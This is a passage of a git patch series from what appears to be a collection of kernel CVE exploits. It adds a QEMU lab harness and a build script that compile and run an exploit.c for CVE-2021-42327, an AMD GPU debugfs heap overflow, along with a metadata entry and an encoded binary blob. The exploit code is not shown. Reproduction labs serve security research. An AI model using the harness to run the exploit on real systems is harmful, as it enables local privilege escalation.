zeAK)?yv|DVR`8}f%|C$Gn`k~7{`N2CU%~Hc-dG5~f7H^igGZ`7yWu+&&*Shz%I6Y1 zT>1PBzdhHko8*o?x_0TY-kxWG?>b|i3!Zt4c~SVnwdNJ!bu>TJg`bME^ey07V$8e4 zztOz$G5qj8OFsslD9-$A_)^7T5xk4~&w6-5jq5$|*Uwx2C*bbqBrd~;X+FOL|MUmT zC+S^#bnQ}Og*^|0|D^tw8{X%TrGFK^Y`1wucngiYI`G6Ar_JG?X}{48zC!(H5WKR+ z>1g=4b5@?O;5oGZE`*PsVd>Yw-QPdk4ev75(jSMr->Y~Dp5}t3{~JC@<2T7Yd)>85 zqUrWL13Z=XMY-ThzOnR0;qNIv72w4chuZMt^DLic@ac+AH~1Zm-vRJ)8o$HfhZb1= z2+?={v&5D}5jMFy%iKzFPCiSon3d%XE0Vvv%Eu@Tn@# zTKGc6a|e8b=Fda$S-S2Y@Wfh|Z@}-IwDKf+WRGqFS)ymft?%Jgj{L|@{zAt>b)|a91kxKt1-2J_}8SwnuE&oOE{*%qu z!Yk^2VF!GO&Ib;`>#nza;@}l@-9OBj8t5{)zCdnwMt7A8C9o zg}2vre}M0gv3l)+=Q?A43|?93Z^PZVOW;fJE{OD;b&l&iSnooX*f1-KyE_}PjbBB1INA^Ye1(sU((?CyZuILc)ZRxGQ&IRKKEt#PuiCjgZE!(<*WdYR=YHT zSJwS(N4Tq3ANWG;pNGN=X+IDP-=y{NM|jV*R?d^~6FP^y1b#y`{*m@+ufbjVD)5rJudD+Pzo32&zpi++2WHcd2oBx*ZpZ>_+K+D zeOY)P?Mox!leBN?1fQjT)dzlNjphF-{OmdNFW}we)8M*Z|LhJ=uXY~@ z&#m=kINW_7d;)y8$};3{CuJ!i{ysp-l+weCuZzM<^ z++Lr}wfs}Vf7d+l0=(ZkOP>e6X}@_n_%~b4BjN7v+0=nY##;LK;L{G8w}Ri&ezh~a zrQ*{Y9;5y|2)_8Zag#p<6^;LT51IcLK=O*dZ&pM1=GJ$$b6{~6vv>CeC~ z>i+aMcrT^@8=gSxOTsk4{UKWScWL0Mls+@Om*V^i{B`xiGVmm7uZHmKDt}M-RK+0* zzEk%*qu~=4TRf-2n`wRd2HrsP!wPu%DVEP>cn8h5`{CKNj-P_x*1qL3e4OsDZ^L_R zv+E{L8{96(CYgu9N2`D4gx6CXUV-0~mxXW8x>*$-rSZ}LUR&{R1wW&H(jD&p4#Y?B z+22~dK8Js`!h90E#wznU@V&ZEUk2Zx{5QgTs$P5HrPMCR;T?3YcmY0C_iH!dt+f6= zhPT%|oGM*#`)<{BUx1%bzj_J2bAiR79lV+DUwXo0w7z@{KcabQBz&CGPl6}Vb!Wr# z>6~FPysg@6E&N@rFFWDxyzVjFo&RJ>9~?J#{*w>x&Sy%(8>k(tz&GmWU|YlQD}7J+ zNZrqV0{>X^;TP~h+P{4be^K+vMtBMB&wqk1*SXCv@U}|-2mD9vGw;JwYu}RU+2D9C z*Zflu{;bxua`235_Zsj)+E+A&*VA?T!(BeZ;3KzNKOYZYsQxpPu6FqjepvNd4^OFf z-v#fe@puHjPxI%m@Rzl2UV|T3yF7sB*Zw($exZFze>KDWpZ!(-tnkd5Z*#)?Xnx2G zU#fX20zO*(uo(Q82^Qzl@HDD#1^8y&N4JL8*Zz4ZJnRR{e=K~9>iac3UyP++4*zkV z`6l=yr9TQUto_D0cv;QQ=`#fP|J$c5|2**d>JLTW_cg!04!^26SB3wieNh8=%XqtP zYj}*jA3VR>_cM4kwaZj^V%2LN{0pr|%i*Oot~bJms$P5G1$6Fr6n;SM`zw5d?jx?k zyX&0oA9z>o|C5FVx7Tahr#%Z#_M^o!JNz5<^Zf9_b1eNU@QRwx>%vp3JiXy_o|5B;FMI*Nt9G9N|6BXyY4Ep>TK+TP?)TBJf%j5>-VRTzea<;}UCp=G;0ts=`v87p zg_S2orr`0oeujBQxNnnrZulpvR}uIm_2(+^S(<0+!rgV7!`m7_@&Ncd+Aj@< zySPn&7uLRI3B0u8umS#6oW)@eytDQj$KY<>J`Yc(_2?$Nr~1`n_!k;Ssq_oP-1u6c zbBS>HL9J`W;ag*@{8ivnPMFt$chPun0zaquts~sUvk%_EC%AMJ8G~ z*TR=+e%KCga>UXfgeTMbat1yv#?t=||5W?)yYMv{UrF?fQ(U{apW}KK?!J#!68^{6 zcHK(w>MDO*`1{(A^@O|g|0uXC|7f`TKEgEkPOba%;V&u9E8#zAKXw|vKi2AX3I1S# z`Css!8W#z&1kX#+ibEQB4V@!pfiIt9`R9eF)qGwY-c0=}5}sQ7sQPfX?`jFJpmEv_ z-e2?N2)O$`;6(UyirY5$E1G8x!A~5w`o_V3-fjLT+|5h(;Za(5l4lK$e>UAOgu(0R zx;f!1)n2c_?`Z#D7Vi30Rd|mrR{nBqvSY2P&+?&7cz9;SWN8hF7t z%YQrE#o=f8_+KpjS$Glk!$069bYI}h799Vwx{pW$Kd<)90^h6ipM3D!>gOflE)G@T zO;q1^;0F|+7Vzb2mu_&^e?Ee{xQ&FTR{!}1UQy>oE8%NZ&aLqG)PD}bD@;(kz+FGg zoIN=H#dO_j@K%}+8^W7wU)=`oeh#4ryp+aW6uikSE9YqVWzGLn;ci}<53i&3YX$t0 z>a`i3K<8aQh46Fm+uA2whlgvQ`4E0d`<#q9g5x|{^ILAX>z_s7gOtx3@a^iK)!-j! zyflO-RX=G1pQ8K6p6~yCuGb$K%UUW~Qxa(Ly9=9}OV@#g#B*<#I4z>BH; z7vUwe9^Hb^J!Sd$!h_o-O7%?*U!whIX83IF2VREvQu&L)E9t(h2E3T|SKZ)KbssSh zep~bZ2>1?-_et%vKRW36|W;bkUU zod1S5QaRJ*4vznhW0pQUe2doWg76d?U!~!dbPg5?U#9(D1Nd(3TUx_^P(SGbPp$bp z3VuoR(inJi^`8ase{>(Q2A);pXa{_$_CJT=Yjl75D?E|nb{#%T@p%M)PU}mmJi+bK zNBg48@J>pf7k)(LECD~Q{!ke{R{Qz7@D}PP&EffVuGkfxTKk`Y@K?3oeGWgWd1*3y zzT!U*K0@uj68^UK3ESW$HNFnP^D7R&!qaO%=6fkP{yF1qT%?7EDL&cZD|A0q2)e{#b z49~O3>J<-PqBviNm(hOjF?`Y_%O}mt!R_VlBeKEw9I^BT;d6D~H~_vz_rIgy-8Aog z4R5Ud%xZXLU3VKit=8Xz@O4^W&cWZ+`g?^QYxTMYFTce6HoTSEwEE76x6{1w9sCpRA6CFW zU2FNQgWuD95(}TLIP8FT(Eev1JcH)jL+~l%?YbA>bF@zV4j-WYc>`Wg>F>b*(0$xP z_&Md1C|_{9Ptbau0-k1$l`}2;CH4O>_)U%XEbzlxH(!L0P``Z{o?rc{5WKF=2VRA* z(Y~lOyt?909bQ!Zr!M?e?TZ@1mn+Uq;p5cLTf>WKp6m#p@U_LWJN)_C<{!e>>-#AK z;U!}&{a|>w+Hp91wAPC;@NdpoKI7qg&zVn!=hV6o10SLN&pdcD)oT&Ftoq?{cwLQ) zHSjh%pWg`ItM=LkAELPJfv42GdH_C8>-bT46Fh z?Ii10ufrc`UabUAtA1M*zDoPdTJRpazi0r@8DrON1^-O#)g3-e^VJ}DH{D;1g2$*` zroxw~pU;Q8{n$=;s&A~EC*eQpx^eIqRQ`+bt8tdkAMk4N=C|NG)|n?L5Ztfa_pj5! zqcx9ZgE!E6R{-wf{5CwD&ePh$pHu(r1@C{t$~hQ5TkBLb{3Z31P4Fh_=Rd+-KBwUC zt6u-WD``GVT`)LqA78L?J_paK@%RFKnD*^C;M4Ve#ys#@>YoMS7qpKm3%{uG^)`IB z*4c*es=7aF3*WDJ_JX_b2MvbzIc#x=hS!fXpAKK5c3%YdDW2=#2i5;~!Ha1AISP0G zzwA8R{k-~3c(nRef-M*4;ci@Khr9116oQY_{q^hcDq4T5!-s2}Hiq|6yL5y% z)IPr-yrcGA!{I-xKTm?U(KJKB~G3w`&;V%EV@aGk`zURCFNx!^zQ z9H0n%vDVEu;CuCbrE2g_aaR6@@MpEpYy&T^{?h~AT=UFG_a`c1NB!gke7n|{-{Czp-fzGQYrlO5 zUPa%Jcm&_2as5om;C30N`;I*DdvO+@qVVy$FDnPXvDwmBhbK}T-h)rodeIL4jMDdp z$EtllrE6S_g{*a(l zaJxKGebd4-&bK&cgRhD;F94rE+x#`S8!rpsH)dM;HSj*VuipXBtnwd*-`H*W{0hIQ z`8M5a!S!9BeqIosNbOr1zId|b9|=FGe)s`Azv3_m{<7L@B)p;aU6bLjs~zXUT{)M- zvub|c2={3pwFkaO^VL!KX_elZ*)b7>b^|T(n3xDREUAF_gsm{Sh!V{|>PJ*YMVEN33|E~3P2|PiprC$&KS^aY- z{IuqcL+}gghiBohx%nJ^TI<>!c-Qe(o(yGz+vTLn9}ds2`Jo_ugXXJJ@SW;EmEjZB zKWoF+>i*(=_?S2=XM1=Zm9rOo;!aB+1wVJfd=$K{#^Yr8D(ye#z-ykde3rrws=vj- z-R~E@0NKBOqx%+!z(DBgWx?hu1CRRl>bzCA?>&4!(Y&S+$#7G-7jo|$7uimGyJ&5 zR~)>N=Buml!LuyR58y@BUMb53x8s*OKgk3ip>_Es_!aH!4ZoxM zHiiGB{5!*UYo6~9ufNUm9}eHFec(j+A?=6fz{e<`@8RzIj4xCOj++~ICE@i}TX`zO zkLp~g4t(?1mcA*xoZ4|9e73&-G6H_^2g_$7yy|)LS@7)Y=bPZ0w4d1vpLpEzIR^ht zz*A}8SO6ZT_?Lty(*0>Ac$~&d zEqD#hCyn91=zhN)yuISk6Fyh#@5k_B7c4#_;q8@v5`3iAm+#>DwEtfRFSE+>-wCg# z_4hD*l;Rl=-=TKA3NN%q?F(-mW1hTHaQj}?eQp?hZmgxx3D2Z>z5*|-`=+w+_f_Aj z@Xs~RG=RUg*{=Hq+{JAgJcZ`5lv_Xm}s3JM-b4G{3Eb$185J z@N@b;%MN&y_C@>P8+AT*8Qxp#&R_6f6dzxe;P@Xv$|5A6tr>ngV!(WcG^2EbasNJu^ zT{-W=uWEfv{$_Ce8)%;y29N*6uA2{DPUS2CcYoiZ65Rd1ly2}i)oTE}tI9JB-c9q& zICx>jc>#R1d=>l;?Kif->*;=HKYYYui^ECyP_6qH;r-O#Zo+G8U3dh4bE4&+@~z-@ zxvqZoJp7+{OP>?oQu9~@{E_zCrQtQzj&H$V(70#-cRwG}8t%^JdcfW9J^KXym-Y{1 z;N7&JnF=qZ^?DwBmF~-y!@t)&un~S&?YjrQUgPL2yr<^F-{B|J4--TNx7QBshtt6C zY8}Z6-=%#~Uien^pW^UW)qg6&+r?Ucs0B}~bA$KcgB8yX@S56Jd~{%Qa`m)8A}@K;w@Jg30j-!c3K?tX50C49fu z{jKmYo#z~cf2n=fMfgIU2WERaIBt!$S~>H<%j>?W1l;{xXf5~*^^+#>lbX*zgf~}w zK80U6YvqZCAJ@2;4sW9Iz7YOc<8BQ+jmFV-cmnm?L-1^h&mV9%uik?XQrwbO3yyR6 z2CLU|@U}`H4lk&6ybwIC=DpJJI_eKK;RCfVY78H#^{WGXoaW&^aMwSFz}^3g9}9Q= zb2{9eGi-y$t9_5bSF63Q!(IFz!e5TFIH#;09RJtj&9lQ(D}5<=ocduE_`Mj*r!Kre zta)?zHJv+kfxGZof;qLr%7reas?Gbo$ zojaX_yYtl>aJP?r40r#p|AiXC?KM>SzXrded8`V2i1vGR;d9lWo50sS@qUMu6 z@Ru|mhrnk|w>Xc5Pv2xd9ezmTbO(H-;#{?6a2)1qeQ61Izh9yo+~qS6?#9swxcmKt z6XESASovqe-TlH+cyGnhykb07Yx@=0DNxLtPY{67r- z)m*!7PIxA@OFei+^}`l$SDvnL_j@1*z}>nw9DYjoaTDMJ)qlQ&_tN~c9)3anb}#&} z=A~2cv>GqJ!*6Q*-iJREV{t24H#p97)lVwJ-Mm@{?$*JkaQFM8I>Fug(iiU5i=lA0 zF5H2Cw9m?)_?_VL@6&y8dieTtmcAW4ul5za;N=vb!SF&FzhmI89jC#+S9^U6ucrOv zO1SGkTi|Y9{Rw_J-s*K4K278L3j8&V$A|EC8W$<+1;^9vLo&i${By%w>i(_>ytVrO z8}Prio>qg;QTsN8*He8@!c!}rm*E4|?ziC$wa-jgKe)b~lz(=3Tit&(g@;eI_;-Te z*F4-8?&g`H@N(Lp`x*q7r)kJ0_h2DppQIrxw2KiA>z_jW#nyYjStH#nYi^!=0%;O_i(5Ince z8z;fn9Q919{9dEOJ5Y;OZ(n(@So0F`s(nT z=gk|zudOt13oog0-4niF<&T12*7zL_A3xLbpGsFg-@q52w)89Dm&coLhW{30z8}6p z@i_(mPV4Mtcsupazv1rx3qRi|xE+h@{w^21pXTAh@QK-h8V-*i8f3w~4cTVc4Hmv+Nn(YQDQ4?k(~{}p~p-}k%?@2mO$K76zKe}cxr^;)WV zCK>#)@=pW5r}0$)?)qmL_+`yYZ^H+ve>Q~Q(>Q7iZ=w5|UhogqPX@z#X)9bwJ zJ9vkU7UvD{+WXD-z>BM29f#l5JpULzPxX5K{owd7)4uUV_(q+pyaDgG!pc(%o>=3w zGd!Qx-+u6m>Yty%i>$Z&$H6BqFkb-AI@x?R{1450+u>Ukw=3|P>Th@CUX&7A)=&No zYZ4r{H?;rBCHG!U?*DvG@2P<ei7h-^_>K7s`}3f;fvt?lzw#xclGvO_O9#t**>Iqei*K4$#*t{UxKIA z^S?s)19&DqPo{C;J@v}zJT2VyhY0vJ|9iZT67au`eT@R#>p$yt-4<|H|IY9fL*Eb{1$Xfo8N$cGU3^x-o2gzK z;alXp;jX_OgeOt_Ps3e*I1hLI;Tqi4>kizNKdH*)?bqC#=aFk?*B_M37p^ZnSC&uY zO}Wcw=uLqhTs{T$+}m?{AI{zWkJojc$&&vkeRv3W^D*-;93p+G5MDlnM~3j)A-rJ- zZw@c5=k4LO^gIgg;yE1d;uamkb=&iwc*cZCKR<*o4dH7-cx(vY6~Yg|U3`wiU3{*? zU3~7sU3{Jd!2cTiiJNce={$H!dbbZ^`tT6x-TcJ#g^}LXw-nsf*WEw4d|Z7SBE73` z^AO%Xgm(|&eM5K@+?9Vg+?78DKF7lAn;*iLhVV6T9S8bi;cngE1$XoF0l1ETe8)q0 zTnN7mzodFyhu@Olg}Zej9rks#l`a$9?Qg>aJaB%_3vaJ{$_Kc&?tdzegh$J3hwz3W zym<(3AHutb@V+5DDufRY;n5*{atMzJ;q&3M6rWhQi{~!5i|2t5emsQ7h49NE{CWt# z8^WJ#{`~#GtB%(nTsf0t-{?GD2+ss}@hJ><@hJs&`Iisjks-Wx2yYm|n}_iBA-sDC z=Y5K+Z#2@o`c8(s`o@It`5}C12wxMzV?+2ZxGR4g{2TT2%W!wzaUH%y>F>hbd5+se zy8hgKm}0UkKNWrC;k_g(KJ9G=(Mmls}EJzaiX} zzj=V`%O@pjAHt&oJg_{&;X76SXt*oSWVkC&On~dlC*_$R!eawmP5LDLE_kHomjeN= zFQ2484ll0sUp@2W<$vcNd*<`iNb^4r%qOc7c=sKdTw?!YxW0D%%Dq%fUod?sq<8&i zREYG^NMBy@pA#ZI_s_MJzMvleEsvfT)}!|jSYQ43vM1;3f%T0kd5az`y0&W*oW)bfe{KJ@ zELVS}eG#p?b?MTkt3NtVg7#L;`h|M-YSF4wP~L5OwCK`CP4xfukj4M*Wd2XrtS+9-Q7xjMzemqp5^li9*Us84cEk}F*D^Gj>aqnXO5B;|Zd*c7sUEk$1 z&~M(?|7m}(QN0hB(4P6i_2?e@_`i5s{o88;-B$^{`ls-Jy6e065AoYmudjse`ytAP z#qoU^;{9v&{zdMMdPH@6qy7H0^2e$C$<+>C`BV8nS^k-Rds_M1c$M{kB*X>r)aRX> zdltAxdhcuJO~g<6;QQD3)BL~Q@0B_5gYWl#tmA3*zdYW0L}9(ztG~C_vHsqVb3g6+ zQ7V5FDpuZ~KJa6k|H;#?pJ~E>um7w+Ew6u0hRgVT+6QC^yjZ~d9slY7f-!mWn%=)f z-_LgGnf9{(g{PH2Qss}mY47mj7v}$D`S1CSdHTt>rITr7YVX;UirN-%kq2Y$;{KcPS!!D&Alf9A55Fk4^O-PuCbo_ ze9fQy>+^Zn&+Px?^}YQM^Yq>_P}je1*?9EigJ}zdxPIO*?Tv*sfV}H_dq`ftQi$t! z)(u?hjCNi3FR$wEw0!pqZ*QziHHn`&1Ye!+=7n*J|l z?}d1Of+!n*k-=~OH`XqnR(d~@`Ks#uboV~z-uWQSd#$$K-yJWy`n&h{^uPYJ_zhS5 z-2T~%UoQWrd%s(MyzII5d3ncvqWMP~lb8Hf(ErKzd&A>DbC2Jy>l?+*kvXd4OCRF> O$7fjk55*hs)c1eOFHa5t literal 0 HcmV?d00001 diff --git a/cve/linux-kernel/2021/CVE-2021-42327/run_challenge.sh b/cve/linux-kernel/2021/CVE-2021-42327/run_challenge.sh new file mode 100644 index 00000000..3ed0b27a --- /dev/null +++ b/cve/linux-kernel/2021/CVE-2021-42327/run_challenge.sh @@ -0,0 +1,16 @@ +#!/bin/sh + +qemu-system-x86_64 \ + -m 256M \ + -kernel linux-5.8.1/arch/x86/boot/bzImage \ + -initrd initramfs.cpio.gz \ + -nographic \ + -cpu qemu64,+smep,-smap -smp cores=2 \ + -append "nokaslr nopti nosmap root=/dev/ram rw console=ttyS0 loglevel=2 oops=panic panic=1 init_on_alloc=0 init_on_free=0" \ + -monitor none \ + -no-reboot \ + -nodefaults -snapshot \ + -no-kvm \ + -s \ + -chardev stdio,id=char0 -serial chardev:char0 \ + -sandbox on,obsolete=deny,elevateprivileges=deny,spawn=deny,resourcecontrol=deny diff --git a/cve/linux-kernel/2021/CVE-2021-42327/setup.sh b/cve/linux-kernel/2021/CVE-2021-42327/setup.sh new file mode 100644 index 00000000..c611ba49 --- /dev/null +++ b/cve/linux-kernel/2021/CVE-2021-42327/setup.sh @@ -0,0 +1,10 @@ +#!/bin/sh +gcc -pthread -o e -static exploit.c +mv e fs +cd fs +find . -print0 \ +| cpio --null -ov --format=newc \ +| gzip -9 > initramfs.cpio.gz +mv ./initramfs.cpio.gz .. +cd .. +./run_challenge.sh -- Gitee From 28ffa48e27d4a9f40f02ec8488125220b4c84ad0 Mon Sep 17 00:00:00 2001 From: travelrounder Date: Thu, 23 Mar 2023 08:36:17 +0000 Subject: [PATCH 2/3] add cve/linux-kernel/2021/yaml/CVE-2021-42327.yaml. Signed-off-by: travelrounder --- .../2021/yaml/CVE-2021-42327.yaml | 23 +++++++++++++++++++ 1 file changed, 23 insertions(+) create mode 100644 cve/linux-kernel/2021/yaml/CVE-2021-42327.yaml diff --git a/cve/linux-kernel/2021/yaml/CVE-2021-42327.yaml b/cve/linux-kernel/2021/yaml/CVE-2021-42327.yaml new file mode 100644 index 00000000..883f6652 --- /dev/null +++ b/cve/linux-kernel/2021/yaml/CVE-2021-42327.yaml @@ -0,0 +1,23 @@ +id: CVE-2021-42327 +source: https://github.com/docfate111/CVE-2021-42327 +info: + name: Linux kernel是美国Linux基金会的开源操作系统Linux所使用的内核。 + severity: medium + description: | + Linux内核5.14.14版本之前的驱动程序/gpu/drm/amd/display/amdgpu_dm/amdgpu_dm_debugfs.c 中的dp_link_settings_write允许攻击者基于堆的缓冲区溢出,攻击者可以将字符串写入 AMD GPU 显示驱动程序调试文件系统。当它使用 copy_from_user 的大小将用户空间缓冲区复制到 40 字节堆缓冲区时,不会检查 parse_write_buffer_into_params 内的大小。 + + scope-of-influence: + Linux kernel before 5.14.14 + + reference: + - https://nvd.nist.gov/vuln/detail/cve-2021-42327 + + classification: + cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H + cvss-score: 6.7 + cve-id: CVE-2021-42327 + cwe-id: CWE-787 + cnvd-id: None + kve-id: None + + tags: 缓冲区溢出 \ No newline at end of file -- Gitee From 29c404fbca5416d0eb68331d85bbf3d786d75812 Mon Sep 17 00:00:00 2001 From: travelrounder Date: Sun, 26 Mar 2023 14:25:58 +0000 Subject: [PATCH 3/3] update other_list.yaml. Signed-off-by: travelrounder --- other_list.yaml | 1 + 1 file changed, 1 insertion(+) diff --git a/other_list.yaml b/other_list.yaml index 6dcfa282..62d7a9b5 100644 --- a/other_list.yaml +++ b/other_list.yaml @@ -4,6 +4,7 @@ cve: - CVE-2019-16884 - CVE-2021-33909 - CVE-2021-3493 + - CVE-2021-42327 - CVE-2022-0995 - CVE-2022-1015 - CVE-2022-2602 -- Gitee